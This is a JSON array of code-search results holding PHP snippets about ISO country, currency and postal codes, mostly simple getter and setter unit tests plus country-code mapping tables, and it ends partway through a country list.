[ { "docid": "fc7791c0adb103c0eaf75351c4507316", "score": "0.8123718", "text": "public function testSetCodePaysIso() {\n\n $obj = new Intervenants();\n\n $obj->setCodePaysIso(\"codePaysIso\");\n $this->assertEquals(\"codePaysIso\", $obj->getCodePaysIso());\n }", "title": "" }, { "docid": "5fbf914db4942cda1b3f256ec94a92e8", "score": "0.66817963", "text": "public function testValidCurrencyCodes()\n {\n foreach (self::$validIsoCodes as $currencyCode) {\n $this->specify(\"currency code is {$currencyCode}\", function () use ($currencyCode) {\n $currency = new NostoCurrencyCode($currencyCode);\n $this->assertEquals($currencyCode, $currency->getCode());\n });\n }\n }", "title": "" }, { "docid": "b8b9d557f754e899890b16f7e275e3e7", "score": "0.60962486", "text": "public function testSetPaysNaissance() {\n\n $obj = new Intervenants();\n\n $obj->setPaysNaissance(\"paysNaissance\");\n $this->assertEquals(\"paysNaissance\", $obj->getPaysNaissance());\n }", "title": "" }, { "docid": "cfbf9f727e6393e8cff21644e942c68f", "score": "0.5897989", "text": "public function testSetCodePostalNaissance() {\n\n $obj = new Intervenants();\n\n $obj->setCodePostalNaissance(\"codePostalNaissance\");\n $this->assertEquals(\"codePostalNaissance\", $obj->getCodePostalNaissance());\n }", "title": "" }, { "docid": "fe8c341c4554c460952277402b43bea0", "score": "0.5758065", "text": "public function mapOnIsoCode(): array;", "title": "" }, { "docid": "53dbb21c4043a49b798e05ea6fe423b1", "score": "0.5652153", "text": "function set_isocode($isocode)\n\t{\n\t\t$this->set_default_property(self :: PROPERTY_ISOCODE, $isocode);\n\t}", "title": "" }, { "docid": "65c9ba73793b28f62007a1016c23899f", "score": "0.5448898", "text": "protected function testGetCurrencyCode() {\n $currency_code = 'ABC';\n $this->assertTrue($this->payment->setCurrencyCode($currency_code) instanceof PaymentInterface);\n $this->assertIdentical($this->payment->getCurrencyCode(), $currency_code);\n }", "title": "" }, { "docid": "e9ca4e888ec7f648d8ff3b3a3a44fbab", "score": "0.52376187", "text": "public function testSetPays() {\n\n $obj = new Intervenants();\n\n $obj->setPays(\"pays\");\n $this->assertEquals(\"pays\", $obj->getPays());\n }", "title": "" }, { "docid": "e75cd34297cbc1f5c3827f2415e85fe7", "score": "0.52317613", "text": "public function testSetCodeEpoux() {\n\n $obj = new Intervenants();\n\n $obj->setCodeEpoux(\"codeEpoux\");\n $this->assertEquals(\"codeEpoux\", $obj->getCodeEpoux());\n }", "title": "" }, { "docid": "3c4fc30be70e4ed2ae059bd5bf2ff533", "score": "0.5218287", "text": "public function setCurrency($IsoCurrency);", "title": "" }, { "docid": "4b787d7c7d2a5287b5aa8abffd575e75", "score": "0.5206679", "text": "public function testInvalidCurrencyCode()\n {\n $this->setExpectedException('NostoInvalidArgumentException');\n\n new NostoCurrencyCode('eur');\n }", "title": "" }, { "docid": "9b546c5b6d3e1d282e6c1c34b76d8689", "score": "0.5177093", "text": "function get_isocode()\n\t{\n\t\treturn $this->get_default_property(self :: PROPERTY_ISOCODE);\n\t}", "title": "" }, { "docid": "7b037294a559ad9ca8b4bd3673e58c2d", "score": "0.51755404", "text": "public function testSetCode() {\n\n $obj = new SaisiePrepaEntete();\n\n $obj->setCode(\"code\");\n $this->assertEquals(\"code\", $obj->getCode());\n }", "title": "" }, { "docid": "90ceee2aa582ed3a35f72deb1878e908", "score": "0.5158978", "text": "public function testSetCodeNaf() {\n\n $obj = new Intervenants();\n\n $obj->setCodeNaf(\"codeNaf\");\n $this->assertEquals(\"codeNaf\", $obj->getCodeNaf());\n }", "title": "" }, { "docid": "de9ac834ab8eb80704ec4f8134ccedd1", "score": "0.51514405", "text": "public function testSetCode() {\n\n $obj = new Intervenants();\n\n $obj->setCode(\"code\");\n $this->assertEquals(\"code\", $obj->getCode());\n }", "title": "" }, { "docid": "c6c0f23ac6f51dbc6548d0c5c55870b3", "score": "0.5133104", "text": "public function setPiso($piso)\n {\n $this->piso = $piso;\n }", "title": "" }, { "docid": "150eb0fc04404d472ab67c7478483d3c", "score": "0.50924057", "text": "public function getIsoCode()\n {\n return $this->isoCode;\n }", "title": "" }, { "docid": "1852d6dd436203200f61e0439b635f6a", "score": "0.5060085", "text": "public function isoCodes($page_number = null)\n {\n $page_number = ($page_number == null) ? 1 : $page_number;\n $iso_data = $this->getOptimizedIsoData();\n if (config('world.pagination.iso_codes') == false) {\n return $iso_data;\n }\n $per_page = config('world.pagination.iso_per_page');\n $ceil_val = ceil(count($iso_data) / $per_page);\n $request_url = request()->url();\n $total_records = count($iso_data);\n $pagination_data = MyPaginate::getPagination(\n $request_url,\n $page_number,\n $per_page,\n $ceil_val,\n $total_records\n );\n $data = collect($iso_data)->forPage($page_number, $per_page)->values();\n $pagination_data['data'] = $data;\n\n return $pagination_data;\n }", "title": "" }, { "docid": "0094fe187bd8513d47ed07a9ea14c682", "score": "0.50567675", "text": "public static function currencyIsoCode()\n {\n return E::conf(\"currencyIsoCode\");\n }", "title": "" }, { "docid": "82feae589ad2588637fdc65a16b392d5", "score": "0.50387305", "text": "public function getCodePays() {\n return $this->codePays;\n }", "title": "" }, { "docid": "681db13a5dc3ccbb7b0aced7d576addb", "score": "0.50315845", "text": "public function testSetCodeNaf2008() {\n\n $obj = new Intervenants();\n\n $obj->setCodeNaf2008(\"codeNaf2008\");\n $this->assertEquals(\"codeNaf2008\", $obj->getCodeNaf2008());\n }", "title": "" }, { "docid": "90115672615a83f06233c3b17687bd15", "score": "0.5024852", "text": "function testDoNotSetIso2ToNonExistingLangs() {\n\t\t$_GET = array('url' => 'foo');\n\t\tCaracoleI18n::init();\n\t\t$result = Configure::read('Config.languageIso2');\n\t\t$this->assertEqual($result, 'en');\n\t}", "title": "" }, { "docid": "f7dca609ebeae2978e37d3ad21d35461", "score": "0.501712", "text": "public function testSetVilleNaissance() {\n\n $obj = new Intervenants();\n\n $obj->setVilleNaissance(\"villeNaissance\");\n $this->assertEquals(\"villeNaissance\", $obj->getVilleNaissance());\n }", "title": "" }, { "docid": "c4d2a468d9abfe77ce5242e30c8fe7c8", "score": "0.49776465", "text": "function testSetCorrectIso2Lang() {\n\t\t$_GET = array('url' => 'fre/');\n\t\tCaracoleI18n::init();\n\t\t$result = Configure::read('Config.languageIso2');\n\t\t$this->assertEqual($result, 'fr');\n\t}", "title": "" }, { "docid": "8ff7c7bf0308c88bec9f7e40bcab4fbb", "score": "0.49769846", "text": "public function testEtfsCountryExposure()\n {\n }", "title": "" }, { "docid": "1546efc7f9e4605ad9bbea9985f53aa8", "score": "0.4922833", "text": "public function testCode(): void\n {\n $actual = $expected = 'code';\n\n self::assertSame($this->article, $this->article->setCode($actual));\n self::assertSame($expected, $this->article->getCode());\n }", "title": "" }, { "docid": "54814720d84d3ed1580811775f7aa66f", "score": "0.49015856", "text": "public static function validateIso()\n {\n return array(\n new Length(null, 2),\n );\n }", "title": "" }, { "docid": "5fb7431f31de1fdb18f3d45cb7f2138b", "score": "0.48664618", "text": "public function testUnsupportedCountryCode(): void\n {\n $this->assertFalse($this->validator->supports('XX'));\n $this->assertNull($this->validator->patternFor('XX'));\n $this->assertTrue($this->validator->fails('any value'));\n }", "title": "" }, { "docid": "a9da5bb89f6b62986558baf72040623a", "score": "0.4843246", "text": "abstract public function countryCode();", "title": "" }, { "docid": "c98db074f11a2fedbc951d90be836746", "score": "0.4842913", "text": "public function testSetCode() {\n\n $obj = new Produits();\n\n $obj->setCode(\"code\");\n $this->assertEquals(\"code\", $obj->getCode());\n }", "title": "" }, { "docid": "2df75750094bbc2c2bfd3eab38211f22", "score": "0.4840707", "text": "function testIsCUEValid() {\n $this->assertEqual($this->Instit->isCUEValid(\"601254\"),1);\n $this->assertEqual($this->Instit->isCUEValid(\"201254\"),1);\n $this->assertEqual($this->Instit->isCUEValid(\"0601254\"),1);\n $this->assertEqual($this->Instit->isCUEValid(\"0201254\"),1);\n $this->assertEqual($this->Instit->isCUEValid(\"2601254\"),1);\n $this->assertEqual($this->Instit->isCUEValid(\"9401254\"),1);\n\n // Estos son casos que fallan\n $this->assertEqual($this->Instit->isCUEValid(\"2ss54\"),-1);\n $this->assertEqual($this->Instit->isCUEValid(\"j.kjas\"),-1);\n\n $this->assertEqual($this->Instit->isCUEValid(\"501254\"),-6);\n $this->assertEqual($this->Instit->isCUEValid(\"9810125\"),-7);\n $this->assertEqual($this->Instit->isCUEValid(\"05101255\"),-8);\n $this->assertEqual($this->Instit->isCUEValid(\"051012555\"),-9);\n\n // este es un numero intermedio entre 3 y 6 digitos\n $this->assertEqual($this->Instit->isCUEValid(\"6542\"),2);\n\n //este es un numero menor a 3 digitos\n $this->assertEqual($this->Instit->isCUEValid(\"54\"),-1);\n }", "title": "" }, { "docid": "b6504336cc66e217936117162a4458e7", "score": "0.48399752", "text": "public static function getByIso($iso_code)\n {\n }", "title": "" }, { "docid": "40c36bd203fbf0545673ad705e2369da", "score": "0.4821292", "text": "public function setCodePays($codePays) {\n $this->codePays = $codePays;\n return $this;\n }", "title": "" }, { "docid": "f79fd14a12133b87878ec2a6b0cd6445", "score": "0.4813114", "text": "public function isDefault(string $isoCode): bool\n {\n return ($isoCode == $this->getDefault());\n }", "title": "" }, { "docid": "b3aab7e228a7bbdfb646173a3fe93672", "score": "0.4803045", "text": "public function testCurrencyExchangeConvertCurrency()\n {\n }", "title": "" }, { "docid": "8454aec050079459f1e03cba3573c65e", "score": "0.479102", "text": "public static function detectISO(string $ip)\n\t{\n\t\tif ($ip = ip2long($ip))\n\t\t{\n\t\t\treturn self::table()->select('ip_country')->where(\"ipc_lo <= $ip AND ipc_hi >= $ip\")->limit(1)->exec()->fetchValue();\n\t\t}\n\t}", "title": "" }, { "docid": "2dd633deb8846a73407257d8fc4ffc27", "score": "0.47703174", "text": "public function testEconomicCode()\n {\n }", "title": "" }, { "docid": "e7befd759c44aa5ca4fe9ba0e2b49597", "score": "0.4769693", "text": "function woo_custom_eu_vat_number_country_codes( $vat_countries ) {\nreturn array( 'EC' );\n}", "title": "" }, { "docid": "250a6ebd01883fc24312b98e33348061", "score": "0.47668743", "text": "public function testOSR_IsSame0()\n {\n $actual = OSR_ISSame(static::$srs4326, static::$srs4328);\n $this->assertFalse(\n $actual,\n \"OSR_IsSame should be FALSE for EPSG:4326 und EPSG:4328\"\n );\n }", "title": "" }, { "docid": "b84bf4370f277b370ac4869ab4515c57", "score": "0.4766185", "text": "public function testSetRcCode() {\n\n $obj = new Intervenants();\n\n $obj->setRcCode(\"rcCode\");\n $this->assertEquals(\"rcCode\", $obj->getRcCode());\n }", "title": "" }, { "docid": "91fc2ba69c0b0454fa3c333d82d8595f", "score": "0.47609", "text": "public function testPayWithSelectedPaymentNetwork()\n {\n }", "title": "" }, { "docid": "1f65708745240bd031ed4d6ddab837ee", "score": "0.4760289", "text": "public function testWithinPostcode(): void\n {\n $vendor = $this->vendorFactory(\"NW43QB\");\n $actual = $vendor->withinPostcode(\"NW43QB\");\n $this->assertTrue($actual);\n $vendor = $this->vendorFactory(\"NW43QB\");\n $actual = $vendor->withinPostcode(\"SE16DP\");\n $this->assertFalse($actual);\n }", "title": "" }, { "docid": "91121654ca71dadba63107686c590ecb", "score": "0.4758648", "text": "public function testValidateIpNok()\n {\n $res = $this->ipObj->validateIp('194.103.20.A');\n $this->assertFalse($res['valid']);\n }", "title": "" }, { "docid": "42bc06875094f4c3f72ff7e32ad1d618", "score": "0.47525492", "text": "function getCodigoControl_IBAN($codigoPais,$cc)\n{\n\t$valoresPaises = array(\n\t\t'A' => '10',\n\t\t'B' => '11',\n\n\t\t'C' => '12',\n\n\t\t'D' => '13',\n\n\t\t'E' => '14',\n\n\t\t'F' => '15',\n\n\t\t'G' => '16',\n\n\t\t'H' => '17',\n\n\t\t'I' => '18',\n\n\t\t'J' => '19',\n\n\t\t'K' => '20',\n\n\t\t'L' => '21',\n\n\t\t'M' => '22',\n\n\t\t'N' => '23',\n\n\t\t'O' => '24',\n\n\t\t'P' => '25',\n\n\t\t'Q' => '26',\n\n\t\t'R' => '27',\n\n\t\t'S' => '28',\n\n\t\t'T' => '29',\n\n\t\t'U' => '30',\n\n\t\t'V' => '31',\n\n\t\t'W' => '32',\n\n\t\t'X' => '33',\n\n\t\t'Y' => '34',\n\n\t\t'Z' => '35'\n\t);\n\n \t// reemplazamos cada letra por su valor numerico y ponemos los valores mas dos ceros al final de la cuenta\n\t$dividendo = $cc.$valoresPaises[substr($codigoPais,0,1)].$valoresPaises[substr($codigoPais,1,1)].'00';\n\t// Calculamos el modulo 97 sobre el valor numerico y lo restamos de 98\n\t// Utilizamos bcmod para poder realizar el calculo, ya que un int sobre 32 bits no puede gestionar tantos numeros\n\t$digitoControl = 98 - bcmod($dividendo, '97');\n\t// Si el digito de control es un solo numero, añadimos un cero al delante\n\tif(strlen($digitoControl)==1)\n\t{\n\t\t$digitoControl = '0'.$digitoControl;\n\t}\n\treturn $digitoControl;\n}", "title": "" }, { "docid": "533a5a0a7427e82539c37214c293a43e", "score": "0.47485235", "text": "public function specialCharsByISO($iso_code) {\r\n $iso_chars = array(\r\n 'cs' => 'ÁáČčĎďÉéĚěÓóŘřŠšŤťÚúŮůÝýŽž',\r\n 'sk' => 'ČčŠšŽž',\r\n 'de' => 'ÄäÖöÜüẞß',\r\n 'pl' => 'ĄąĘꣳÓóŚśŹźŻż',\r\n 'hu' => 'ÁáËëÉéÍíÓóÖöŐőÜüŰű'\r\n );\r\n return (count($iso_chars[$iso_code]) > 0 ? $iso_chars[$iso_code] : '');\r\n }", "title": "" }, { "docid": "1eebcfec370a12d0486b930c18137dea", "score": "0.47438675", "text": "public function testSetCodePostal() {\n\n $obj = new Intervenants();\n\n $obj->setCodePostal(\"codePostal\");\n $this->assertEquals(\"codePostal\", $obj->getCodePostal());\n }", "title": "" }, { "docid": "c9521fb951cc2bbb80d0326f4ab8798f", "score": "0.47396255", "text": "function mobiconnector_convert_languagesCode_to_isoCode($languageCode){\r\n\treturn bamobile_mobiconnector_convert_languagesCode_to_isoCode($languageCode);\r\n}", "title": "" }, { "docid": "2bc9a3730e291005652f9a31cb85eacd", "score": "0.4736674", "text": "function convertToCountryIso3($countryIso2Code)\n{\n\tif (empty($countryIso2Code) || strlen($countryIso2Code) !== 2 || !is_string($countryIso2Code)) return false;\n\n\t$mappingListIso2toIso3 = ['BD' => 'BGD', 'BE' => 'BEL', 'BF' => 'BFA', 'BG' => 'BGR', 'BA' => 'BIH', 'BB' => 'BRB', 'WF' => 'WLF', 'BL' => 'BLM', 'BM' => 'BMU', 'BN' => 'BRN', 'BO' => 'BOL', 'BH' => 'BHR', 'BI' => 'BDI', 'BJ' => 'BEN', 'BT' => 'BTN', 'JM' => 'JAM', 'BV' => 'BVT', 'BW' => 'BWA', 'WS' => 'WSM', 'BQ' => 'BES', 'BR' => 'BRA', 'BS' => 'BHS', 'JE' => 'JEY', 'BY' => 'BLR', 'BZ' => 'BLZ', 'RU' => 'RUS', 'RW' => 'RWA', 'RS' => 'SRB', 'TL' => 'TLS', 'RE' => 'REU', 'TM' => 'TKM', 'TJ' => 'TJK', 'RO' => 'ROU', 'TK' => 'TKL', 'GW' => 'GNB', 'GU' => 'GUM', 'GT' => 'GTM', 'GS' => 'SGS', 'GR' => 'GRC', 'GQ' => 'GNQ', 'GP' => 'GLP', 'JP' => 'JPN', 'GY' => 'GUY', 'GG' => 'GGY', 'GF' => 'GUF', 'GE' => 'GEO', 'GD' => 'GRD', 'GB' => 'GBR', 'GA' => 'GAB', 'SV' => 'SLV', 'GN' => 'GIN', 'GM' => 'GMB', 'GL' => 'GRL', 'GI' => 'GIB', 'GH' => 'GHA', 'OM' => 'OMN', 'TN' => 'TUN', 'JO' => 'JOR', 'HR' => 'HRV', 'HT' => 'HTI', 'HU' => 'HUN', 'HK' => 'HKG', 'HN' => 'HND', 'HM' => 'HMD', 'VE' => 'VEN', 'PR' => 'PRI', 'PS' => 'PSE', 'PW' => 'PLW', 'PT' => 'PRT', 'SJ' => 'SJM', 'PY' => 'PRY', 'IQ' => 'IRQ', 'PA' => 'PAN', 'PF' => 'PYF', 'PG' => 'PNG', 'PE' => 'PER', 'PK' => 'PAK', 'PH' => 'PHL', 'PN' => 'PCN', 'PL' => 'POL', 'PM' => 'SPM', 'ZM' => 'ZMB', 'EH' => 'ESH', 'EE' => 'EST', 'EG' => 'EGY', 'ZA' => 'ZAF', 'EC' => 'ECU', 'IT' => 'ITA', 'VN' => 'VNM', 'SB' => 'SLB', 'ET' => 'ETH', 'SO' => 'SOM', 'ZW' => 'ZWE', 'SA' => 'SAU', 'ES' => 'ESP', 'ER' => 'ERI', 'ME' => 'MNE', 'MD' => 'MDA', 'MG' => 'MDG', 'MF' => 'MAF', 'MA' => 'MAR', 'MC' => 'MCO', 'UZ' => 'UZB', 'MM' => 'MMR', 'ML' => 'MLI', 'MO' => 'MAC', 'MN' => 'MNG', 'MH' => 'MHL', 'MK' => 'MKD', 'MU' => 'MUS', 'MT' => 'MLT', 'MW' => 'MWI', 'MV' => 'MDV', 'MQ' => 'MTQ', 'MP' => 'MNP', 'MS' => 'MSR', 'MR' => 'MRT', 'IM' => 'IMN', 'UG' => 'UGA', 'TZ' => 'TZA', 'MY' => 'MYS', 'MX' => 'MEX', 'IL' => 'ISR', 'FR' => 'FRA', 'IO' => 'IOT', 'SH' => 'SHN', 'FI' => 'FIN', 'FJ' => 'FJI', 'FK' => 'FLK', 'FM' => 'FSM', 'FO' => 'FRO', 'NI' => 'NIC', 'NL' => 'NLD', 'NO' => 'NOR', 'NA' => 'NAM', 'VU' => 'VUT', 'NC' => 'NCL', 'NE' => 'NER', 'NF' => 'NFK', 'NG' => 'NGA', 'NZ' => 'NZL', 'NP' => 'NPL', 'NR' => 'NRU', 'NU' => 'NIU', 'CK' => 'COK', 'XK' => 'XKX', 'CI' => 'CIV', 'CH' => 'CHE', 'CO' => 'COL', 'CN' => 'CHN', 'CM' => 'CMR', 'CL' => 'CHL', 'CC' => 'CCK', 'CA' => 'CAN', 'CG' => 'COG', 'CF' => 'CAF', 'CD' => 'COD', 'CZ' => 'CZE', 'CY' => 'CYP', 'CX' => 'CXR', 'CR' => 'CRI', 'CW' => 'CUW', 'CV' => 'CPV', 'CU' => 'CUB', 'SZ' => 'SWZ', 'SY' => 'SYR', 'SX' => 'SXM', 'KG' => 'KGZ', 'KE' => 'KEN', 'SS' => 'SSD', 'SR' => 'SUR', 'KI' => 'KIR', 'KH' => 'KHM', 'KN' => 'KNA', 'KM' => 'COM', 'ST' => 'STP', 'SK' => 'SVK', 'KR' => 'KOR', 'SI' => 'SVN', 'KP' => 'PRK', 'KW' => 'KWT', 'SN' => 'SEN', 'SM' => 'SMR', 'SL' => 'SLE', 'SC' => 'SYC', 'KZ' => 'KAZ', 'KY' => 'CYM', 'SG' => 'SGP', 'SE' => 'SWE', 'SD' => 'SDN', 'DO' => 'DOM', 'DM' => 'DMA', 'DJ' => 'DJI', 'DK' => 'DNK', 'VG' => 'VGB', 'DE' => 'DEU', 'YE' => 'YEM', 'DZ' => 'DZA', 'US' => 'USA', 'UY' => 'URY', 'YT' => 'MYT', 'UM' => 'UMI', 'LB' => 'LBN', 'LC' => 'LCA', 'LA' => 'LAO', 'TV' => 'TUV', 'TW' => 'TWN', 'TT' => 'TTO', 'TR' => 'TUR', 'LK' => 'LKA', 'LI' => 'LIE', 'LV' => 'LVA', 'TO' => 'TON', 'LT' => 'LTU', 'LU' => 'LUX', 'LR' => 'LBR', 'LS' => 'LSO', 'TH' => 'THA', 'TF' => 'ATF', 'TG' => 'TGO', 'TD' => 'TCD', 'TC' => 'TCA', 'LY' => 'LBY', 'VA' => 'VAT', 'VC' => 'VCT', 'AE' => 'ARE', 'AD' => 'AND', 'AG' => 'ATG', 'AF' => 'AFG', 'AI' => 'AIA', 'VI' => 'VIR', 'IS' => 'ISL', 'IR' => 'IRN', 'AM' => 'ARM', 'AL' => 'ALB', 'AO' => 'AGO', 'AQ' => 'ATA', 'AS' => 'ASM', 'AR' => 'ARG', 'AU' => 'AUS', 'AT' => 'AUT', 'AW' => 'ABW', 'IN' => 'IND', 'AX' => 'ALA', 'AZ' => 'AZE', 'IE' => 'IRL', 'ID' => 'IDN', 'UA' => 'UKR', 'QA' => 'QAT', 'MZ' => 'MOZ'];\n\n\t/** Search data */\n\t$iso3CountryCode = (array_key_exists($countryIso2Code, $mappingListIso2toIso3) ? $mappingListIso2toIso3[$countryIso2Code] : false);\n\n\treturn $iso3CountryCode;\n}", "title": "" }, { "docid": "dc7e281785eddae655ab1b68e4bcd94d", "score": "0.47338882", "text": "public function isCOD()\n {\n $this->cod = true;\n }", "title": "" }, { "docid": "916e0754540403b41ce1a56c1e2e7fc3", "score": "0.47195154", "text": "public function testCodeValue()\n {\n $this->assertInstanceOf(Customer::class, $this->entity->setCode('XPTO'));\n $this->assertTrue(is_string($this->entity->getCode()));\n }", "title": "" }, { "docid": "a12f8ac5879dc4da5d90c793af16cc2f", "score": "0.47162515", "text": "public function testSetCode() {\n\n $obj = new TypeMissions();\n\n $obj->setCode(\"code\");\n $this->assertEquals(\"code\", $obj->getCode());\n }", "title": "" }, { "docid": "f7c5e8fb350ff75e3f4ab20a58229ad7", "score": "0.47111252", "text": "public function testPostalCode()\n {\n $oCity = new City();\n\n // default value\n static::assertEmpty($oCity->getPostalCode());\n\n // invalid postal code\n $oCity->setPostalCode('');\n static::assertEmpty($oCity->getPostalCode());\n $oCity->setPostalCode('te');\n static::assertEmpty($oCity->getPostalCode());\n\n // valid postal code\n $sPostalCode = '2B033';\n $oCity->setPostalCode($sPostalCode);\n static::assertEquals($sPostalCode, $oCity->getPostalCode());\n }", "title": "" }, { "docid": "dc09174e2d9a4fcb5b80a37d0c4ee72e", "score": "0.4710634", "text": "public function testSetCodePhase() {\n\n $obj = new Affaires();\n\n $obj->setCodePhase(\"codePhase\");\n $this->assertEquals(\"codePhase\", $obj->getCodePhase());\n }", "title": "" }, { "docid": "9adc1ba8c49cbce510519606cad367eb", "score": "0.46821287", "text": "public function countryCodes($specificOrder=false) {\n\t\t$codes = array(\n\t\t\t'AF'=>'Afghanistan',\n\t\t\t'AL'=>'Albania',\n\t\t\t'DZ'=>'Algeria',\n\t\t\t'AS'=>'American Samoa',\n\t\t\t'AD'=>'Andorra',\n\t\t\t'AO'=>'Angola',\n\t\t\t'AI'=>'Anguilla',\n\t\t\t'AQ'=>'Antarctica',\n\t\t\t'AG'=>'Antigua And Barbuda',\n\t\t\t'AR'=>'Argentina',\n\t\t\t'AM'=>'Armenia',\n\t\t\t'AW'=>'Aruba',\n\t\t\t'AU'=>'Australia',\n\t\t\t'AT'=>'Austria',\n\t\t\t'AZ'=>'Azerbaijan',\n\t\t\t'BS'=>'Bahamas',\n\t\t\t'BH'=>'Bahrain',\n\t\t\t'BD'=>'Bangladesh',\n\t\t\t'BB'=>'Barbados',\n\t\t\t'BY'=>'Belarus',\n\t\t\t'BE'=>'Belgium',\n\t\t\t'BZ'=>'Belize',\n\t\t\t'BJ'=>'Benin',\n\t\t\t'BM'=>'Bermuda',\n\t\t\t'BT'=>'Bhutan',\n\t\t\t'BO'=>'Bolivia',\n\t\t\t'BA'=>'Bosnia And Herzegovina',\n\t\t\t'BW'=>'Botswana',\n\t\t\t'BV'=>'Bouvet Island',\n\t\t\t'BR'=>'Brazil',\n\t\t\t'IO'=>'British Indian Ocean Territory',\n\t\t\t'BN'=>'Brunei',\n\t\t\t'BG'=>'Bulgaria',\n\t\t\t'BF'=>'Burkina Faso',\n\t\t\t'BI'=>'Burundi',\n\t\t\t'KH'=>'Cambodia',\n\t\t\t'CM'=>'Cameroon',\n\t\t\t'CA'=>'Canada',\n\t\t\t'CV'=>'Cape Verde',\n\t\t\t'KY'=>'Cayman Islands',\n\t\t\t'CF'=>'Central African Republic',\n\t\t\t'TD'=>'Chad',\n\t\t\t'CL'=>'Chile',\n\t\t\t'CN'=>'China',\n\t\t\t'CX'=>'Christmas Island',\n\t\t\t'CC'=>'Cocos (Keeling) Islands',\n\t\t\t'CO'=>'Columbia',\n\t\t\t'KM'=>'Comoros',\n\t\t\t'CG'=>'Congo',\n\t\t\t'CK'=>'Cook Islands',\n\t\t\t'CR'=>'Costa Rica',\n\t\t\t'CI'=>'Cote D\\'Ivorie (Ivory Coast)',\n\t\t\t'HR'=>'Croatia (Hrvatska)',\n\t\t\t'CU'=>'Cuba',\n\t\t\t'CY'=>'Cyprus',\n\t\t\t'CZ'=>'Czech Republic',\n\t\t\t'CD'=>'Democratic Republic Of Congo (Zaire)',\n\t\t\t'DK'=>'Denmark',\n\t\t\t'DJ'=>'Djibouti',\n\t\t\t'DM'=>'Dominica',\n\t\t\t'DO'=>'Dominican Republic',\n\t\t\t'TP'=>'East Timor',\n\t\t\t'EC'=>'Ecuador',\n\t\t\t'EG'=>'Egypt',\n\t\t\t'SV'=>'El Salvador',\n\t\t\t'GQ'=>'Equatorial Guinea',\n\t\t\t'ER'=>'Eritrea',\n\t\t\t'EE'=>'Estonia',\n\t\t\t'ET'=>'Ethiopia',\n\t\t\t'FK'=>'Falkland Islands (Malvinas)',\n\t\t\t'FO'=>'Faroe Islands',\n\t\t\t'FJ'=>'Fiji',\n\t\t\t'FI'=>'Finland',\n\t\t\t'FR'=>'France',\n\t\t\t'FX'=>'France, Metropolitan',\n\t\t\t'GF'=>'French Guinea',\n\t\t\t'PF'=>'French Polynesia',\n\t\t\t'TF'=>'French Southern Territories',\n\t\t\t'GA'=>'Gabon',\n\t\t\t'GM'=>'Gambia',\n\t\t\t'GE'=>'Georgia',\n\t\t\t'DE'=>'Germany',\n\t\t\t'GH'=>'Ghana',\n\t\t\t'GI'=>'Gibraltar',\n\t\t\t'GR'=>'Greece',\n\t\t\t'GL'=>'Greenland',\n\t\t\t'GD'=>'Grenada',\n\t\t\t'GP'=>'Guadeloupe',\n\t\t\t'GU'=>'Guam',\n\t\t\t'GT'=>'Guatemala',\n\t\t\t'GN'=>'Guinea',\n\t\t\t'GW'=>'Guinea-Bissau',\n\t\t\t'GY'=>'Guyana',\n\t\t\t'HT'=>'Haiti',\n\t\t\t'HM'=>'Heard And McDonald Islands',\n\t\t\t'HN'=>'Honduras',\n\t\t\t'HK'=>'Hong Kong',\n\t\t\t'HU'=>'Hungary',\n\t\t\t'IS'=>'Iceland',\n\t\t\t'IN'=>'India',\n\t\t\t'ID'=>'Indonesia',\n\t\t\t'IR'=>'Iran',\n\t\t\t'IQ'=>'Iraq',\n\t\t\t'IE'=>'Ireland',\n\t\t\t'IL'=>'Israel',\n\t\t\t'IT'=>'Italy',\n\t\t\t'JM'=>'Jamaica',\n\t\t\t'JP'=>'Japan',\n\t\t\t'JO'=>'Jordan',\n\t\t\t'KZ'=>'Kazakhstan',\n\t\t\t'KE'=>'Kenya',\n\t\t\t'KI'=>'Kiribati',\n\t\t\t'KW'=>'Kuwait',\n\t\t\t'KG'=>'Kyrgyzstan',\n\t\t\t'LA'=>'Laos',\n\t\t\t'LV'=>'Latvia',\n\t\t\t'LB'=>'Lebanon',\n\t\t\t'LS'=>'Lesotho',\n\t\t\t'LR'=>'Liberia',\n\t\t\t'LY'=>'Libya',\n\t\t\t'LI'=>'Liechtenstein',\n\t\t\t'LT'=>'Lithuania',\n\t\t\t'LU'=>'Luxembourg',\n\t\t\t'MO'=>'Macau',\n\t\t\t'MK'=>'Macedonia',\n\t\t\t'MG'=>'Madagascar',\n\t\t\t'MW'=>'Malawi',\n\t\t\t'MY'=>'Malaysia',\n\t\t\t'MV'=>'Maldives',\n\t\t\t'ML'=>'Mali',\n\t\t\t'MT'=>'Malta',\n\t\t\t'MH'=>'Marshall Islands',\n\t\t\t'MQ'=>'Martinique',\n\t\t\t'MR'=>'Mauritania',\n\t\t\t'MU'=>'Mauritius',\n\t\t\t'YT'=>'Mayotte',\n\t\t\t'MX'=>'Mexico',\n\t\t\t'FM'=>'Micronesia',\n\t\t\t'MD'=>'Moldova',\n\t\t\t'MC'=>'Monaco',\n\t\t\t'MN'=>'Mongolia',\n\t\t\t'MS'=>'Montserrat',\n\t\t\t'MA'=>'Morocco',\n\t\t\t'MZ'=>'Mozambique',\n\t\t\t'MM'=>'Myanmar (Burma)',\n\t\t\t'NA'=>'Namibia',\n\t\t\t'NR'=>'Nauru',\n\t\t\t'NP'=>'Nepal',\n\t\t\t'NL'=>'Netherlands',\n\t\t\t'AN'=>'Netherlands Antilles',\n\t\t\t'NC'=>'New Caledonia',\n\t\t\t'NZ'=>'New Zealand',\n\t\t\t'NI'=>'Nicaragua',\n\t\t\t'NE'=>'Niger',\n\t\t\t'NG'=>'Nigeria',\n\t\t\t'NU'=>'Niue',\n\t\t\t'NF'=>'Norfolk Island',\n\t\t\t'KP'=>'North Korea',\n\t\t\t'MP'=>'Northern Mariana Islands',\n\t\t\t'NO'=>'Norway',\n\t\t\t'OM'=>'Oman',\n\t\t\t'PK'=>'Pakistan',\n\t\t\t'PW'=>'Palau',\n\t\t\t'PA'=>'Panama',\n\t\t\t'PG'=>'Papua New Guinea',\n\t\t\t'PY'=>'Paraguay',\n\t\t\t'PE'=>'Peru',\n\t\t\t'PH'=>'Philippines',\n\t\t\t'PN'=>'Pitcairn',\n\t\t\t'PL'=>'Poland',\n\t\t\t'PT'=>'Portugal',\n\t\t\t'PR'=>'Puerto Rico',\n\t\t\t'QA'=>'Qatar',\n\t\t\t'RE'=>'Reunion',\n\t\t\t'RO'=>'Romania',\n\t\t\t'RU'=>'Russia',\n\t\t\t'RW'=>'Rwanda',\n\t\t\t'SH'=>'Saint Helena',\n\t\t\t'KN'=>'Saint Kitts And Nevis',\n\t\t\t'LC'=>'Saint Lucia',\n\t\t\t'PM'=>'Saint Pierre And Miquelon',\n\t\t\t'VC'=>'Saint Vincent And The 